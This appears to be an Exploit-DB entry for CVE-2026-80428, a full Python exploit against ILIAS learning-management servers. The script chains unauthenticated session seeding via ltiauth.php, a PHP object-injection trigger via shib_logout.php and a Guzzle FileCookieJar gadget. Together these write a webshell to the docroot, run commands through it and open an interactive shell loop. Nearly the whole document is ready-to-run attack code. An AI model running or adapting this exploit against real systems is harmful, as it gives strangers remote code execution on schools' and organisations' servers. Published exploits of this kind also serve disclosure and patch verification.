CVE-2026-80428 Unauthenticated PHP Object Injection via Shibboleth - ILIAS < 9.22, 10.0 < 10.10, 11.0 < 11.3 - RCE

EDB-ID:

52682




Platform:

Multiple

Date:

2026-09-11


#!/usr/bin/env python3
#
# Exploit Title: ILIAS <= 9.21 / 10.9 / 11.2 - Unauthenticated PHP Object Injection (RCE)
# Date: 2026-08-31
# Exploit Author: DigiProSec
# Vendor Homepage: https://www.ilias.de
# Software Link: https://github.com/ILIAS-eLearning/ILIAS
# Version: ILIAS < 9.22, 10.0 < 10.10, 11.0 < 11.3 (fixed in 9.22 / 10.10 / 11.3)
# Tested on: Rocky Linux 9, Apache + PHP-FPM 8.2, ILIAS 10.9 (MariaDB 10.11 backend)
# CVE: CVE-2026-80428
#
# CVE-2026-80428 — Unauthenticated PHP Object Injection via Shibboleth
# Injection via Shibboleth back-channel logout endpoint (RCE as web server user)
#
# Chain:
#   1. ltiauth.php (auth-exempt LTI entry point) stores the entire request
#      parameter array into the session table (ilSession::set on
#      'lti13_login_data'). A "\w+|" marker inside a parameter value breaks the
#      custom session parser, so our raw serialized object is handed to
#      unserialize() as if it were a session value.
#   2. shib_logout.php (auth-exempt Shibboleth back-channel) — a POST with any
#      non-empty body starts a SoapServer whose LogoutNotification() handler
#      unserializes EVERY live session row with no class allowlist.
#   3. Gadget: GuzzleHttp\Cookie\FileCookieJar (bundled in ILIAS's vendor tree).
#      __destruct() -> save($this->filename) -> file_put_contents($filename,
#      json_encode($cookies)). Attacker-chosen path + JSON-embedded PHP = webshell.
#
# Tested: ILIAS 10.9 on Rocky Linux 9 (Apache + PHP-FPM 8.2, MariaDB backend).
# Notes:  - v11.x ships a broken shib_logout.php variant (null $DIC) and does
#           not reach the vulnerable code as packaged; v9/v10 are exploitable.
#         - The target's docroot disk path is needed for the file write
#           (--path). Defaults to the standard /var/www/ilias/public.
#         - If ILIAS was configured with a fixed http path, requests must carry
#           that hostname (--host-header).
#
# Usage:  python3 CVE-2026-80428.py <target-ip-or-host> [--cmd 'id']
#         python3 CVE-2026-80428.py 10.10.10.20 --host-header lms.example --shell
#
import argparse, http.client, re, secrets, ssl, sys, urllib.parse

def s(x):
    b = x.encode() if isinstance(x, str) else x
    return b's:' + str(len(b)).encode() + b':"' + b + b'";'

def filecookiejar(path: str) -> bytes:
    php = b'<?php system($_GET[chr(120)]); ?>'   # PHP8: bareword index fatals; chr() avoids quotes
    data = (s('Name') + s('util') + s('Value') + s(php) + s('Domain') + s('ilias')
            + s('Path') + s('/') + s('Max-Age') + b'N;' + s('Expires') + b'i:1999999999;'
            + s('Secure') + b'b:0;' + s('Discard') + b'b:0;' + s('HttpOnly') + b'b:0;')
    setcookie = (b'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:{'
                 + s('\x00GuzzleHttp\\Cookie\\SetCookie\x00data') + b'a:9:{' + data + b'}}')
    return (b'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:{'
            + s('\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies') + b'a:1:{i:0;' + setcookie + b'}'
            + s('\x00GuzzleHttp\\Cookie\\CookieJar\x00strictMode') + b'b:0;'
            + s('\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename') + s(path)
            + s('\x00GuzzleHttp\\Cookie\\FileCookieJar\x00storeSessionCookies') + b'b:1;}')

SOAP = (b'<?xml version="1.0" encoding="UTF-8"?>\n<SOAP-ENV:Envelope xmlns:SOAP-ENV='
        b'"http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="urn:mace:shibboleth:2.0:sp:notify">'
        b'<SOAP-ENV:Body><ns1:LogoutNotification><SessionID>x</SessionID>'
        b'</ns1:LogoutNotification></SOAP-ENV:Body></SOAP-ENV:Envelope>')

class Target:
    def __init__(self, host, port, host_header):
        self.host, self.port = host, port
        self.hh = host_header or host
        self.ctx = ssl._create_unverified_context()
    def req(self, method, path, body=None, ctype=None):
        conn = (http.client.HTTPSConnection if self.port == 443 else http.client.HTTPConnection)(
            self.host, self.port, context=self.ctx if self.port == 443 else None, timeout=30)
        h = {"Host": self.hh}
        if ctype: h["Content-Type"] = ctype
        conn.request(method, path, body=body, headers=h)
        r = conn.getresponse(); d = r.read(); conn.close()
        return r.status, d

def main():
    ap = argparse.ArgumentParser(description="CVE-2026-80428 - ILIAS unauthenticated PHP object injection RCE")
    ap.add_argument("target")
    ap.add_argument("--port", type=int, default=443)
    ap.add_argument("--host-header", default=None, help="vhost/ILIAS client hostname if required")
    ap.add_argument("--path", default="/var/www/ilias/public",
                    help="ILIAS docroot on disk (v10/11: .../public; v9: repo root)")
    ap.add_argument("--cmd", default="id")
    ap.add_argument("--shell", action="store_true", help="interactive command loop")
    a = ap.parse_args()

    t = Target(a.target, a.port, a.host_header)
    shell = f"util_{secrets.token_hex(3)}.php"
    disk  = f"{a.path.rstrip('/')}/{shell}"

    print(f"[*] seeding session via ltiauth.php (writes {disk})")
    body = (b"lti_message_hint=1%3A2&inj=" +
            urllib.parse.quote_from_bytes(b"junk|" + filecookiejar(disk)).encode())
    st, _ = t.req("POST", "/ltiauth.php", body, "application/x-www-form-urlencoded")
    if st not in (200, 302):
        print(f"[-] ltiauth.php returned {st} — is this ILIAS with the LTI entry point exposed?")
        sys.exit(1)

    print("[*] triggering unserialize via shib_logout.php (SOAP LogoutNotification)")
    st, d = t.req("POST", "/shib_logout.php", SOAP, "text/xml")
    if b"LogoutNotificationResponse" not in d and b"<OK/>" not in d:
        print(f"[-] trigger response looks wrong (HTTP {st}): {d[:160]!r}")
        sys.exit(1)

    def run(cmd):
        st, d = t.req("GET", f"/{shell}?x=" + urllib.parse.quote(cmd))
        m = re.search(rb'"Value":"(.*?)","Domain"', d, re.S)
        return (m.group(1) if m else d).decode(errors="replace").strip()

    out = run(a.cmd)
    if not out:
        print("[-] webshell did not respond — wrong --path / docroot not writable by web user?")
        sys.exit(1)
    print(f"[+] webshell live: {'https' if a.port==443 else 'http'}://{a.target}:{a.port}/{shell}?x=<cmd>")
    print(f"[+] {a.cmd}: {out}")

    if a.shell:
        print("[*] interactive loop — 'exit' quits")
        while True:
            try: cmd = input("ilias$ ").strip()
            except (EOFError, KeyboardInterrupt): break
            if cmd in ("exit", "quit"): break
            if cmd: print(run(cmd))

if __name__ == "__main__":
    main()